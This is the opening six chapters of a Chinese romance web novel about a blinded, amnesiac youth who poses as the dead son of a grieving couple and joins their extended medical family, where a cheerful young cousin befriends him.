《我表兄天下第一甜》 1. 归乡路 《我表兄天下第一甜》全本免费阅读 天高云杳,一排排飞雁自北而来,倏然划过天际,振着翅膀落在湖边。 雾气四沉的澄澈水面上,一只小船穿行其中,船桨划破清澈照人的湖面,掀起一阵波澜。 船舱里,一个妇人披着鹅白氅衣,苍白着一张脸,巴巴地望着窗外,脸上犹挂着泪水,像极了雨后还挂着雨水的青杏。 “陆重。”她轻唤,声音中还带着些泣音。 那个叫陆重的男人正坐在茶几旁喝茶,闻言放下茶碗,站起身来,走到妇人身边,替她将氅衣领口上的丝带系好。 “山儿呢?”她咬着唇,双目迷离无神,像失了魂儿一般。 陆重透过窗看了眼外面,轻声道:“山儿在休息呢,兰儿,”陆重捧起苏泽兰散在肩头的一捧青丝,“你莫要太担忧了。” 船外微凉的雾气透过窗子传进来,苏泽兰眼前一阵模糊,泪水不受控地滚出来。 “山儿……都病成那样了,你又叫我如何能不担忧?”苏泽兰边哭边说,没一会儿,一张帕子便被泪水打湿透了。 陆重不由得头大,他回身坐到苏泽兰的对面,单手扶额,哭声震得他头痛。 他忍不住说:“兰儿,山儿的病大夫已瞧过了,治不好的。” “他们说的不对!”苏泽兰抬起脸,正对着陆重,“他们治不好,是他们无能,我大哥神医妙手,医术高超,大哥一定能治好,一定能治好。” 她说着,眼里的泪水还不停地往下掉。 “兰儿!”陆重知晓她是爱子心切,可又不愿她失望,“你……” 苏泽兰放下手中的帕子,伸手擦去泪水,“我知道你不相信大哥,毕竟这么多年你都未曾回去看过他们,你在怨,你在怨大哥当年没治好山儿的哑症是不是?” 陆重别过脸,不看苏泽兰,“不是。” 苏泽兰伸手去握陆重的手,“山儿的哑症是胎里带的,天生的,你叫大哥如何治?这次不一样,这次山儿的眼是被毒伤到的,大哥能治。” 当年山儿一出生便不会说话,遍寻名医而不得,他们便将所有的希望寄托在大哥苏知辛身上,谁料他们千里迢迢来到湛江,苏知辛只看了一眼,便说,治不好。 这件事一直沉在陆重心里,多年不忘。 “好了。”陆重有些心烦意乱,“你好好休息。” 陆重不等苏泽兰回应,便背着手出了船舱。 湖面上烟波渺茫,冷意阵阵,陆重刚一推开船舱门,便打了一个哆嗦。 “真冷啊。”他自言自语,抬步往外走。 隔着茫茫的水雾,眼前景象昏昏绕绕,看不清楚,等到走近船舷处,陆重才看到那个清拔的身影。 身影立于船边,背对着陆重,遥望着水面天边。 他一身清白,缭绕的雾气弥散在他周身,他仿佛不染尘埃不问世事,生生地让这雾气成了他的陪衬。 陆重蓦地生出一种距离来,虽然他们只有一步之遥,但陆重却觉得他们之间隔得很远。 就好似陆重永远也没法儿看懂眼前这个少年。 少年似是察觉到有人来了,垂在身下的手指颤了下。 陆重硬着头皮上前,道:“你……” 少年迟疑一下,缓缓转身,雾气仿佛一瞬间消散,少年抿着薄薄的嘴唇,面向声音传来的地方。 陆重站到少年旁边,抬头望了眼少年眼上覆着的白色布条,低声说:“这里只有我们两人,不必拘束,想说话就说话。” 少年听着船桨划破水面的破碎声,好半天,才“嗯”了一声。装哑的时间太久,久到他都快要忘了该怎么说话。 湖面上倒映出少年清瘦的身影,陆重沉吟着,想到了三个月前。 那日山上下了好大的一场雨,他踟蹰在山路上,浑身湿透,却不敢回家,不敢回家面对苏泽兰,不敢看她哭,不敢告诉她山儿其实已经去世了。 他们唯一的孩子不在了,苏泽兰一个弱女子如何能承受这种打击? 他徘徊了好久,甚至希望天雷能将他劈死,如此,他便不必再面对这些。 然而在他失魂落魄之时,他看到山路上躺着一个少年,少年浑身是血,刀伤满身。他本不欲管,可转念之下,他又想赌一赌。 自他谎称山儿是离家出走后,苏泽兰的意识一直很恍惚,说不定认不出山儿。 他赌对了,苏泽兰思子心切,意识混乱,将这个少年认成了山儿。 而这个少年在醒来后,却失忆了。 陆重头一次觉得上天眷顾他,他告诉少年所有的一切,甚至跪下求他,终于让少年答应了假扮陆之山这件事。 少年也十分配合,这一装就是三个月,期间没出一点差错。 但假的始终是假的,能瞒得了多久,他不敢想,也不愿想,只求能过一日是一日。想至此,陆重不忘叮嘱: “快到湛江了,那边人多眼杂,切记不要说话,免得被人发现。” “好。”少年的话语没有一丝波动与涟漪,他整个人静静的,冷冷的,分明什么都想不起来了,可周身还带着些孤独冷寂,千年寒冰一般。 陆重只觉身上更冷了些,他转身离开,走到船舱处时又回头去看少年。 浩渺的湖面上一望无边,少年独立于船边,身边无物可持,无人可依,陆重看着他,想起他的山儿,山儿在世时调皮可爱,这个年纪的孩子本该是这样,而他…… 陆重又走到少年身边,“站在这里,不冷吗?” 少年摇头。 陆重苦笑着,从怀里拿出一颗糖,塞在少年手里,“梨膏糖,很甜。” 说罢,他拍拍少年的肩膀,转身欲走。 湖边的飞雁扑棱着翅膀飞走,少年捏着手心中的糖,心好似也跟着一起飞走,过了片刻,他淡淡道: “你放心,我会做好陆之山。” * 行至午时,船工撑着浆将船停在了岸边,陆重付给船工一些钱,叫他找些人将行李运去怀仁堂。 “怀仁堂?”那船工笑笑,“不知怀仁堂的苏大夫与您是什么关系?” 陆重脸色有些僵,“苏大夫是我夫人的哥哥。” 船工笑意更深,拱手说道:“您真是好福气,娶到了苏大夫的妹妹。” 陆 2. 是团圆 《我表兄天下第一甜》全本免费阅读 仆人不敢耽搁,三步并两步地跑到内院,跟老夫人,杨夫人,李夫人一一禀报。 老夫人一听这消息,心口直跳,“砰砰”地,简直要跳出来,李夫人忙上前扶住她,将她送到软椅上,又递了一杯老君眉。 等喝了这口茶,老夫人才悠悠地回过神来,抬眼一看,那仆人还在那里傻站着,急着说:“还站着干吗?快去把二女郎请进来!” 说完这句话,老夫人胸口又是一阵疼,李夫人在旁拍着她的背,宽慰着,“二女郎回来是喜事。” 老夫人靠在软椅上,闻言叹了一口气,布满皱纹的脸上滑下一滴清泪,“十六年了……” 李夫人嫁进苏家时,苏泽兰已然出嫁了,后来苏泽兰带着孩子回来,一家人哭闹了一场,那时她正大着肚子,想着日后总有相见的时候,便没去见她,谁知这一下十六年就过去了。 十六年光阴匆匆地过。 见着老夫人,苏泽兰的泪水一瞬间漫了上来。 上一次见母亲,还是在十六年前,也是这样的冬日,她怀里抱着再也不能说话的山儿,同陆重一起走出家门,这一走就是十六年。 十六年前,母亲还没老,她还健步如飞,而如今—— 隔着茫茫的水雾,苏泽兰一眼便看到了母亲脸颊上岁月留下的痕迹,以及早已银白的额发。 “娘——”苏泽兰将手从陆重手心抽出来,奔上前,握住老夫人的手,泪水让她看不清东西。 老夫人含着泪,双手颤抖地摸着苏泽兰的胳膊,脸颊,话语破碎在酸涩的喉咙里,“你瘦了,从前的你没有这么瘦。” 老夫人伸手擦去挂在苏泽兰脸上的泪珠,“你受苦了。” 苏泽兰摇头,“娘,女儿不苦。” 话说完,苏泽兰心中却闷得慌,泪水又啪嗒啪嗒地往下掉。 老夫人知晓她这女儿的脾气,她这女儿从来都是不服输的性子,就好比当年的事,虽说表面上是陆重生气,说到底,苏泽兰心里也未必不介意。 老夫人叹口气,不去管那么多,她拉着苏泽兰,让她坐在自己身边。 此时天色渐昏,屋内燃起灯烛,昏黄的火光照在两人脸上,皆是斑驳的泪痕。 李夫人一边抹着眼泪,一边替老夫人拍背顺气,“看着二姐与母亲这般样子,可当真让人感动,你们瞧瞧我,我这泪水也流了一箩筐!” 两人抬眼去瞧她,果然看见她脸上妆容已花,两人禁不住笑起来,老夫人打趣道:“你啊你,狗拿耗子,你又跟着哭什么?” 李夫人手上动作停一下,憋红了脸道:“母亲!” 一番笑后,老夫人指着李夫人,跟苏泽兰说:“这是你三弟的夫人。” 李夫人朝苏泽兰笑笑,苏泽兰起身回礼。 正此时,站在堂下许久的陆重也走上前来,撩袍跪下,拱手道:“母亲。” 老夫人垂着眼皮,不去看他。 陆重脸色渐渐变得难看,一时之间,屋内一片寂静,甚至可以听到人的呼吸声。 “娘。”苏泽兰拉拉老夫人的衣袖。 老夫人这才放下手中的茶碗,懒懒地抬起眼,“起来吧。” “多谢母亲。”陆重起身,看了一眼老夫人,见她神情冷淡,心中又升起一丝不快。 “山儿呢?”老夫人忽地想起苏泽兰那可怜的孩子。 “那儿呢。”苏泽兰起身,从门边上带进来一个人。 众人抬眼看过去,只见岑寂的天光里,幽深的暗夜下,少年一袭白衣,满身冷寂,脸色近乎透明的白,与这昏暗的屋室格格不入。 他分明毫无波动,静静的,冷冷的,却让人的目光停在他脸上移不走,并让人心里忍不住生出些艳羡来。 老夫人这才发现原来在门边还有一个人,少年太过安静,安静到过了这么久她竟都没有察觉。 “娘,山儿来了。山儿,快给祖母磕头。”苏泽兰将陆之山带到老夫人面前。 陆之山默不作声,朝着老夫人的方向跪下,重重地磕了一个响头。 “砰”地一声,实实在在的一个响头。 老夫人忙扶起眼前人,嘴里说着,“山儿快起山儿快起。” 陆之山站起身,摇晃的烛火映在他蒙着白布的眼上,老夫人指着那白布,手不住地颤抖。 “这……这眼……” 苏泽兰垂下眼眸,苦笑着说:“山儿不幸,被山匪毒伤了眼。” 老夫人不禁一阵眩晕,山儿一出生便患了哑症,如今好不容易长大了,眼睛却又看不见了,她的女儿,她的外孙,怎么会如此命苦。 “你受苦了。”老夫人望望苏泽兰,又望望陆之山,眸中又落下一阵清泪。 陆之山默默地站着,沉默和哭泣交缠着,幽幽地传到他耳膜中,他太知道其中的意味,自他瞎了以后,无数的人都在像这样地可怜他,反复地提醒他,他是个瞎子,还是个哑巴。 他又瞎又哑,只能活在别人的嫌弃与可怜里。 想至此,他觉察到一股又浓又重的东西,像是一团浸满水的棉花,沉沉地压在他心头,他很不喜欢这种感觉。 他四处听着动静,想要驱散这种心情。 看不见之后,陆之山的耳力格外敏捷,他远远地就听到一阵“叮铃叮铃”的铃声,那铃声清脆,悠扬地一路传来,离这里越来越近。 “祖母。”一个甜甜的声音从门口传来,女郎披着件雪白的氅衣,手里拿着个碧色帕子,眉眼弯弯,笑意浓浓。 仿佛结冰的屋子一下子热起来。 女郎一路走进来,瞧着满屋子的人,一个个她都不认识,但她倒是不怕,见到谁都抬着一张笑脸,盈盈地对人笑。 老夫人见到她,也忍不住笑起来,“哎哟,我们家的小宝贝纤纤来了,快来祖母身边坐。” 苏祈春笑意更深,小步奔到祖母怀里,白嫩嫩的小脸贴着祖母的脸蹭啊蹭啊。 “哎哟,可别蹭了,十三四岁的女郎了,怎么还像个小孩一样?”老夫人脸上没一点儿责怪的意思,反而满满地都是欢喜。 苏祈春抬起小脸儿,咯咯地笑,“谁说纤纤十三四岁了,纤纤分明还是个小孩,是祖母的小宝贝。” “是,是,纤纤是祖母的小宝贝。”老夫人揉揉苏祈春白里透红的小脸儿,心里舒坦不少。 一旁的李夫人见老夫人心情好了,跟着打趣,“就知道老夫人最偏心纤纤。” 老夫人笑道:“纤纤是我的小宝贝,我不偏心她,我偏心谁?” < 3. 团圆饭 《我表兄天下第一甜》全本免费阅读 夜色已深,正堂内燃起灯烛,灯火透过浅色的纸罩淡淡地洒出来,苏祈春白嫩脸颊上的绒毛清晰可见。 看到陆之山点头,苏祈春咯咯直笑,她伸手拍拍陆之山的胳膊,语气轻快,“看到山哥哥点头了。” 陆之山一瞬间地僵硬,胳膊处滚烫地热,他下意识地躲避,却在听到苏祈春笑声的时候停下动作。 “好了好了,你山哥哥一家舟车劳顿,让他们去休息,等会儿啊,我们一家人吃个团圆饭。” 苍老的话音刚落,陆之山就听到陆重的声音,“山儿,我们走。” 陆之山顿了顿,跟着陆重转身,眼前的微弱光晕随着脚步一点点消失,屋外是一片黑暗,踏出屋门时,夜风拂面,陆之山又听到那甜甜的笑声。 “祖母,月雪阁还在空着,就在我住的院子附近。” “你这丫头,那就是给你二姑姑一家准备的。” 陆之山走在廊下,不断传来的阵阵铃声和风声交织在一起传进他的耳中,他神色平淡,依旧是那副无悲无喜的样子。 天地阍暗,一轮弯月透过灰黑的云照在陆之山身上,照得他满身清寒。 三人随着丫鬟的指引来到了月雪阁。 月雪阁建在苏府的东北角,带个独立的院子,院子里藏着一汪水池,时值正月,湛江县位处南方,虽不甚冷,但池中花草却已然枯败,只剩水池旁的一株青松,依旧昂立。 青松树下,放着一张石桌,几尊石凳,清风朗月时节在此喝茶,是最好不过的事。 院子不大,几步便走完了,陆重推开院中的房门,只见里面早已收拾一新,各样家具物件一应俱全。 带过来的几箱笼也到了,陆重和苏泽兰收拾着,陆之山立在青松树下,周边一片黑暗,他静静地待着,仿佛人世间并没有他这个人。 或许本不该有他这个人。 他不知自己的来处,更不知自己的归途,甚至不知自己是谁。 他一醒来就忘记一切,一睁眼就满眼昏暗,一开口便哑然无声。 他只感觉到自己心里好似压着沉沉的东西,那东西比山还要重,他每每想去看清,却只看到一团迷雾,昏昏绕绕的,看不清楚。 青松树下,微凉夜风吹起陆之山的衣角,眼上的白色布条也随风飘着,他站了很久,路过的丫鬟们见着他,窃窃私语着,说他姿色好,又说可惜是个哑巴,还是个瞎子,语气可怜。 陆重与苏泽兰收拾着月雪阁,时不时传过来几声吵闹,几声哭泣,苏泽兰哭着喊着“山儿” 他喉结滚了滚,仍旧神色不动,他知道那不是在喊他,他只是个替代品。 不知站了多久,夜晚的露水沉沉地落在他肩上,周遭变得安静起来,风轻轻地吹着树叶,树叶沙沙作响。 “叮铃铃铃” 铃铛的响声缠着夜风扰乱这宁静,声音飘进陆之山的耳中,陆之山皱眉,朝着声音来的地方微微偏头。 那抹笑声果然出现了,“山哥哥——” 铃声越来越近,微苦的药香扑鼻而来,陆之山听到少女轻轻喘息,“山哥哥,你怎么在这里站着?” 陆之山欣长的身影罩在苏祈春身上,苏祈春的眸子在黑暗中格外闪亮。 陆之山抿抿嘴唇,一个字也说不出。 苏祈春等了会儿,想起什么,依旧笑着,伸手抓住陆之山的手腕,拉着他跑,“山哥哥,别站着了,吃饭了,今日,祖母吩咐厨房做了好大一桌子菜……” 苏祈春拉着陆之山一路说着,偶尔回头看他,如霜般的月色照出他浑身冷寂,他始终静静的,脸上也毫无变化。 苏祈春感到一阵寒冷,弯弯的眉眼间轻皱了一下。 等到内堂时,一家人均已到齐坐好,饭食也已备好,满满地摆了一大桌。 杨夫人平日体弱,常年卧床不出门,今日也出来了,苏祈春进门一见到杨夫人,便跑到她身边,担心地说:“娘亲,如何?还撑得住吗?” 杨夫人艰难地抬起双眸,轻摇下头,“放心,我还好。” 苏祈春放下心来,圆眼弯起,笑着和众人一一问好。 没一会儿,陆重和苏泽兰也到了,苏三爷和姐姐苏泽兰又抱头痛哭了一番,一时间,屋内又沉重起来。 李夫人见着这场面,出来缓和,她一把扯过苏三爷,埋怨道:“你看看你,这团圆的时刻被你给弄得眼泪都出来了,真不经事!” 她这一说,众人都笑起来,苏三爷欲要反驳,李夫人不给他机会,又拉过苏川柏和苏川谷出来,道:“你们想念的二姑姑回来了,快来见过二姑姑。” 苏川柏和苏川谷本是双生子,二人站在一起,模样姿态分毫不差,俱穿着天青色的外衣,腰间在同一位置缀着一块羊脂白玉。 只见他俩一齐撩袍跪地,连动作都是一模一样。 “侄儿拜见二姑姑。” 两人说罢,磕了一个响头。 苏泽兰忙拉起他俩,嘴里欢喜不止,“快起来快起来,担不起担不起。” 两人行完礼后,退至一边。 老夫人喊着众人一一落座,苏泽兰坐在老夫人身边,老夫人另一边坐着苏三爷,陆之山坐在了陆重的身边。 陆之山刚一坐下,铃声便又响起来,身边转瞬飘来一阵药香,这次的药香更苦一些,味道更浓。 苏祈春扶着杨夫人坐好,自己坐在了陆之山和杨夫人中间。 “山哥哥。”苏祈春盈盈地笑。 陆之山微微偏头,嘴角微不可见地动了动。 饭桌上摆着各类吃食,都是家常的口味,但却是个个精致,菜量足足是平日的一倍多。 一桌人坐定后,老夫人又讲了几句,众人嬉笑一番,待老夫人动筷后,也纷纷提筷。 苏祈春夹了一筷子鱼,细细地剃好刺,放在杨夫人碗里,“娘亲,你爱吃的鱼肉,刺已经剃好了,快吃。” 杨夫人温柔地回看着苏祈春,声音轻得要断掉,“乖女儿,你也快吃。” 苏祈春点头,夹了一块糯米糕放进嘴里,她爱吃甜。 埋头间,苏祈春瞥见一个空空的碗碟,碗碟后面,是一个蒙眼的少年,他静静地面对着一桌吃食,却不动筷。 “山哥哥,你想吃什么?我给你夹。”糯米糕甜,苏祈春的声音更甜。 陆之山的手指动了动,他看不到眼前的东西,随意地指着。 苏祈春望着他指向自己的手,扑哧一声笑,“山哥哥,纤纤可不能吃,你吃点儿别的吧,糯米糕你吃吗?特别甜,比梨膏糖还要甜,我最爱吃。” 陆之山听着,僵硬地点点头。 苏祈春将一块糯米糕放在盘子里,递给陆之山。 陆之山拿着筷子,笨拙地将糯米糕往嘴里塞,诺大的一块糯米糕塞在他嘴里,他的两腮都鼓了起来。 饭桌上,苏川柏和苏川谷两兄弟偷偷地笑。 苏祈春也笑,但这笑却不带一丝的嘲弄,反而是暖暖的,柔柔的,清风一般,暖阳一般,“山哥哥,慢些吃。” 4. 鱼眼睛 《我表兄天下第一甜》全本免费阅读 正堂里灯烛明亮,点点的光晕正洒落在陆之山的脸上,他冰似的脸颊仿佛快要融化。 苏祈春咬着筷子尖,歪着头望他,脸上笑意融融。 陆之山的眉毛又黑又浓,在这样亮如白昼的光影下,更显露出一种悠扬绵长的深隽,白色的布条挡在浓眉下,让苏祈春总忍不住地想,想这浓眉下本来的眸子是什么样子的。 苏祈春猜一定很好看。 就像浓黑的鸦羽一般,密密地排成一排,光影流动间,映出时有时无的阴翳。 又或是像银鱼尾那样,黑亮卷翘,摄人心魄。 苏祈春想得出神,脸歪着,目光不知落在何处。灯影里,陆之山挺拔的身姿挡住一半的光,苏祈春的半边身子隐在黑暗里,随着陆之山的动作时明时暗。 一颗狮子头吃完,陆之山嘴角染上一圈油腻,光影下闪闪地亮,他摸索着,将盘子放在桌上,又去摸桌子上的帕子。 身边的人安静了很久,但他的鼻尖还能嗅到隐在浓重药香里的一点微苦,他因此知道她还在。 有时候,瞎了并非是件坏事,瞎子可以看到更多没瞎的人看不到的事。 就如此时,他想身边这个突然安静的小女郎,一定在想些什么。 他的手摸到一块布料,温凉的触觉萦绕在他指尖,他拽了拽,布料竟似活了一般压在他的手背上,陆之山面前的碗筷杯碟砰然落地,他的手背上传来一阵柔软。 铃铛骤然响了一下。 没一会儿,苏祈春带着哭腔的幽怨声音便低低地传过来,“山哥哥,你都把纤纤拽倒了。” 陆之山触电般收回放在木桌上的手,垂下宽大的袖袍挡住,嘴巴抿成一条线。 老夫人听见苏祈春的声音,担忧地看过来,“纤纤,怎么了?” 苏祈春唤来丫鬟,命她将掉落的东西收拾了,笑着回:“祖母,筷子掉地上了。” “那便换一副便是了。” 苏祈春应了声是,随即又坐下,听着众人调笑。 苏川柏和苏川谷两兄弟已到了娶亲的年龄,李夫人这几日张罗着为两兄弟娶妻说媒,请遍了湛江县的冰人,托她们多多留意。 只是几日下来,没有任何头绪,样貌差的看不上,家世好的又高攀不起。 李夫人私心想着两兄弟既无功名也无技艺傍身,只空有个怀仁堂的名声,终究是水中之月,虚浮无用,唯有握住怀仁堂,学一门手艺才是正事。 今日老夫人高兴,此时不提更待何时? 她起身夹了一颗鱼眼睛放在老夫人碗里,笑着说:“母亲尝尝,你最爱吃的鱼眼睛,明目的。” 老夫人笑吟吟地接过,一旁苏泽兰却不自觉地咬住嘴唇,盯着那鱼眼睛,思索着李夫人的话。 李夫人见老夫人笑了,便又接着说:“说起来,前几日,我请县上一位说媒的冰人吃饭,去到那望春楼,那边的鱼眼睛比咱们吃的不知大了多少。” “望春楼的排场,咱家自然是比不过的。”老夫人咽下鱼眼睛,擦擦嘴看向李夫人,“柏儿和古儿的亲事定得如何了?” 提起这些,李夫人皱眉,唉声叹气,满脸沮丧,“两个孩子身无长物,我也不中用,找不到好人家。” 苏三爷虽说管着怀仁堂药材的采买,但对于治病一事一知半解,在家中也是说不上话,湛江县人更是只知苏大爷,不知苏三爷。 苏三爷的两个儿子本打算走科举之路,无奈两人实在是才学有限,至今连《大学》都读不通。 “谁说两个孩子身无长物了?”老夫人斜睨着李夫人。 李夫人身子往后缩缩,“可……” 老夫人正正身子,道:“知辛无后,往后苏家还要靠川柏和川谷,这学堂我看不上也罢,让两个孩子跟着知辛学医,苏家的家传手艺总要有人继承。” 说罢,老夫人瞥了一眼闷着不说话的杨夫人。 “咳咳。”似是被呛到,杨夫人轻咳几声。 苏祈春忙倒了一杯水,扶着杨夫人喝下。 陆之山照出的阴影晃了下,苏祈春隐在黑暗里的明亮眸光有一瞬的湮灭。 夜幕沉沉地落下,世间万物笼罩在一团漆黑中,肮脏的洁净的,美的丑的,悲伤的快乐的,都齐齐被这黑暗淹没,混作一团。 团圆饭的后半段,苏泽兰一直在想李夫人的话,李夫人高兴的合不拢嘴,苏祈春则是静静的,没有笑,甚至也没有说话。 陆之山看不到她,却比任何人都更敏锐地察觉到她的沉默。 她身上的微苦是凝滞的,停在一个地方没有动过,她腰间的铃声也没有响,他听不到她的声音。 直到筵席结束,陆之山才短暂地听到铃声极微弱地响了下,紧接着,那点微苦便越来越远。 陆之山跟着苏泽兰离开正堂,走到屋外,风一点点渗进人的骨肉中,搅得人骨缝里都是凉的。 三个人在月光下投出长短不一的黑影,陆之山脑后的布条荡起。 走到荒僻无人处时,陆重往地上重重地啐了一口吐沫,骂道:“什么鱼眼睛?什么明目?什么成亲?他们分明是欺负山儿又聋又瞎,讨不来媳妇儿!” 陆之山静静地听着,脚下步履依旧,平静地像在听着别人的事。 苏泽兰手不禁攥紧,黑暗下她的眼睛里亮亮的,仿佛淌着水,“别说了,李夫人或许不是这个意思,只是——” 她转向陆重,“听母亲的意思,以后怀仁堂要给三弟一家了,若真是如此,那真是可惜了大哥多年的操持。” “哼。”陆重踢了踢脚下的石子,“杨夫人病了那么多年,当年生纤纤便搭了半条命进去,再生,怕是命都没了,可没有儿子,如何能继承怀仁堂?” 这道理苏泽兰自然懂,只是多少觉得可惜,苏泽兰想起苏祈春笑得眉眼弯弯的样子,叹息道:“纤纤倒是可爱乖巧。” 陆之山滚滚喉咙,耳边仿佛又响起铃声。 觉明院立在月雪阁的旁边,里面无松无竹,甚是朴素,只在墙角处装点了几株红色的小花。 苏祈春扶着杨夫人进屋,服侍她躺下,又去廊下察看正燃着的药炉。 杨夫人每日都需用药,苏祈春于此早 5. 一夜笑 《我表兄天下第一甜》全本免费阅读 05一夜笑 夜静星疏,更深露重,晚霜斑驳,觉明院的院门“吱呀”一声开了,一个肩挎药箱,略有些驼背的身影从黑黢黢的门外钻进来。 苏祈春沿着声音望过去,脸上立即露出一个笑,“爹爹。” 她小跑几步,腰间的铃铛在寂静的夜里清脆地响。 苏知辛抬眼注视着这个奔向他的一小团,略有些疲惫的眉宇间舒展不少,他放下药箱,双手张开,裹着鹅白棉裘的苏祈春便一下扑到他身上。 “纤纤又长高了。”苏知辛连日忙着药铺的事,已有半月晚归早出,时常见不到苏祈春。 苏祈春下巴搁在苏知辛的肩膀上,呼出的气吹得氅衣领上的白鹅毛晃晃荡荡地闪着,她从苏知辛的怀抱里出来,认真地比了比,眉眼弯弯,“才没有,上次见爹爹的时候纤纤就到爹爹的腋窝处,才过半月,长不了多少的。” 半个月又能长高多少?要知道苏祈春长到现在的高度足足花了十三年。 苏知辛站起身,松开苏祈春,肩上重又挎起药箱,他低头望着苏祈春见长的身段,愈发稳重的姿态,疲惫的脸上闪过一丝苦意,“才过半月啊,总觉得好久没见纤纤了,纤纤都长大了。” 苏知辛说完,眸中酸了一下。他这么多年一直忙着药铺的生意,忙着治病救人,反而忽略了他最爱的最亲近的人。 铃铛随着苏祈春的脚步来回晃荡,苏祈春闻言,沉默了一瞬,“纤纤还是小孩子呢。”话刚说完,不等苏知辛反应,苏祈春又说:“爹爹,药铺的病人很多吗?” 苏知辛点点头,不自觉地长叹口气,“多,近来天寒,生病的人格外地多,爹爹总不忍心将他们拒之门外,日日回来这样晚,倒是委屈了你们。” 苏祈春这才恍然惊觉,自己已经太久没有好好和爹爹说过话,每次都只是匆匆见一面就分别,她有时也想多见见爹爹,和爹爹多呆一会儿,多向他请教些医术,可这些小小的心愿却总是落空…… “爹爹。”苏祈春和苏知辛走进屋里,正屋内,觉明院的小厨房已为苏知辛备好了饭菜,苏祈春拉着苏知辛坐下,眯眼笑,“爹爹若是觉得愧疚,就快快吃饭,一会儿做一次纤纤的实验品。” 苏祈春以往会配些稀奇古怪的药方,为实验疗效,她常自己以身试药,苏知辛亦为她试过几次,也看过几次药方,效果意外地好。 苏知辛粗粝的皮肤上裂开一个笑,“好,爹爹就做一次纤纤的实验品。” “那爹爹快吃。”苏祈春笑得灿烂,摇晃的灯烛下,她唇红齿白,面如桃花,白绒绒的鹅毛领子裹在她的脖颈处,一团雪似地托着她,更衬得她晶莹透亮。 天地阍暗,明角灯中的青蜡堪堪燃尽。 茯苓倚在门外,止不住地打着哈欠,屋子里,父女俩的欢笑声时长时短,时远时近。 苏祈春捏着一根粗粗的银针,对着苏知辛眼尾的一处穴位扎下去,杨夫人瞧着那针头,触目惊心,声声阻拦。 苏祈春笑着不让她管,昂着红扑扑的脸颊,道:“娘,放心,你女儿的医术错不了。” 杨夫人吓得心都要跳出来,那眼睛可不比旁的位置,最为脆弱,若是扎坏了,那便是什么都看不见了,连大夫都不能当,这叫她如何不忧心。 况且她看苏祈春一手捧着医书,一手比着医书上的位置找,这一看就不靠谱。 不过,苏知辛倒是一脸安然,他方才细细地看过苏祈春的施针手法与针案,他不觉惊叹这个小女郎的奇思妙想,那是他这个中年人拍马难及的。 “英儿,你放宽心吧,纤纤的医术如今是连我都自叹不如的。”苏知辛脸上带着自得的笑。 杨夫人有些不敢相信,但苏祈春自幼便爱鼓捣些医术药典,也常给院里的小丫头们开方子治病,天长日久,倒确有些正儿八经的大夫的样子。 只见她满脸笑意,捏着针身对准位置,利落地扎下去,没一会儿,便将苏知辛两眼周围扎满了针,活像是一排排栅栏,要困住里面的黑暗斗兽。 苏祈春做好一切后,拍拍小手,双手交叉在胸前,颇为得意地欣赏着自己的杰作。 这本是她想了许久的法子,在眼周的几个关键穴位上施针,虽凶险,但往往凶险之法反而有十分的效果。 灯火下银针闪亮,杨夫人依旧吓得捂紧心口,颤抖着叫苏祈春过去。 苏祈春来到床榻前,伸手搂住杨夫人的身子,常年的病让杨夫人身上瘦得只剩下骨头,杨夫人顺势捏紧苏祈春的手,盯着苏知辛眼上的银针,害怕地说:“纤纤,当真没事吗?” 针尾上闪过的寒光,刀似地冷冽。 苏祈春烂漫地歪着头,点头道:“有事啊。” 杨夫人瞪圆了眼睛回看苏祈春,身上冷意阵阵,“纤纤,那可是你爹爹。” 杨夫人急得便要下床去取苏知辛眼上的针,她自幼与苏知辛相识,更与苏知辛患难多年,她宁死也不忍苏知辛瞎了。 她本就柔弱,正欲挣扎下床,腰间却有一双温暖的小手,紧紧地环着她。 她低头一看,正是苏祈春的手。 “纤纤,我要去救你父亲。”杨夫人有气无力。 苏纤纤忍了好久,才忍住喷薄欲出的笑声,她不费力地拉过杨夫人的身子,将她安安稳稳地放在床榻上,笑着说:“娘,你别担心。” 杨夫人疑惑地看她。 苏祈春捋捋杨夫人额前凌乱的发,乌黑的眸子泛着水一样的光泽,“娘,爹爹做完这个针灸会自此目明眸亮,视野就此广阔,这也算是‘有事’吧?只不过是好事。” 杨夫人呆住,笑也不是,哭也不是。 倒是苏知辛忍不住先笑了,眼上的银针在灯火下来回闪动,看得人心惊胆颤。 “你快别笑了,你看那针,一直乱动。” “娘亲,你就安心吧,还有纤纤呢。” “是啊,英儿,纤纤的医术连我都自愧不如,你便放心吧。” 6. 心正庐 《我表兄天下第一甜》全本免费阅读 觉明院素朴,因已故去的苏父秉持“大音希声,大象无形”的道理,院中装饰具无,只保留最原始的居住之物。 除了一进门的三间房子用以起卧外,另在院子北边有一间不大的屋子,几株随风摇晃的翠竹掩映着屋门,婆娑的树影在屋门上斑驳。 三人沿着碎石铺成的小路走至此处,望见破旧的木门上陆离的光影,苏知辛驻步,侧身看向陆之山。 陆之山紧抿着唇,树影凌乱地垂在他的脸上,纵横滚动,而他无悲无喜,沉静得如同一块壁石,而他眼上的那抹淡青更让他有一种冰冷淡漠的疏离。 苏知辛脚步顿一下,浑身浮起一丝清寒,他收回目光,领着陆之山进屋。 苏泽兰抬步欲要上前,却被苏知辛的目光吓退。 她停下脚步,咬着嘴唇,思来想去又忍不住往前走两步,正站在木门前。 翠竹掩映的木门下,挂着一块残缺不堪的牌匾,苏泽兰凝眸细望,才堪堪认出三个字——心正庐。 “心正药自真。”① 苏家先祖便是抱持着这样的抱负,做人做事只求问心无愧,才走到今日的鼎盛地步,也正是如此,心正庐只许大夫与病人进,不许闲杂人等进入。 这是苏家的规矩。 苏泽兰虽出生于医药世家,但幼时却不曾学过医术,素日里只跟着母亲一起做做女工,如今望着这牌匾,她不由得停步,目光幽暗沉寂,再也没有往前一步。 心正庐内,药草的香味弥漫,稀薄的晨光透过发黄的窗纱照进来,落在窗下摆着脉案笔墨的桌上,也裹着药香漫过一排排百眼柜,百眼柜下放着药碾、药炉等物件儿,另有一碟厚厚的医书摆在旁边。 苏知辛弯腰,抽出一本泛黄的医书,放在桌上。 他伸手抓住陆之山的肩膀,引着陆之山坐到桌前的一张竹椅上。 陆之山被按在椅子上,直着脊背,身子僵硬,鼻尖充斥着各类草药的味道,此间药草似与别处不同,味辛的居多,味苦的偏少,闻起来苦而不厌。 他动动脖颈,眼前人的阴影柔柔地覆盖在他身上,他滚滚喉咙,有些防备地握手成拳。 苏知辛目光闪动,上一次见山儿还是十六年前,当年他初掌怀仁堂,治好了几例大病,百姓们无不赞扬,怀仁堂的生意也是风生水起,那正是他意气风发之时。 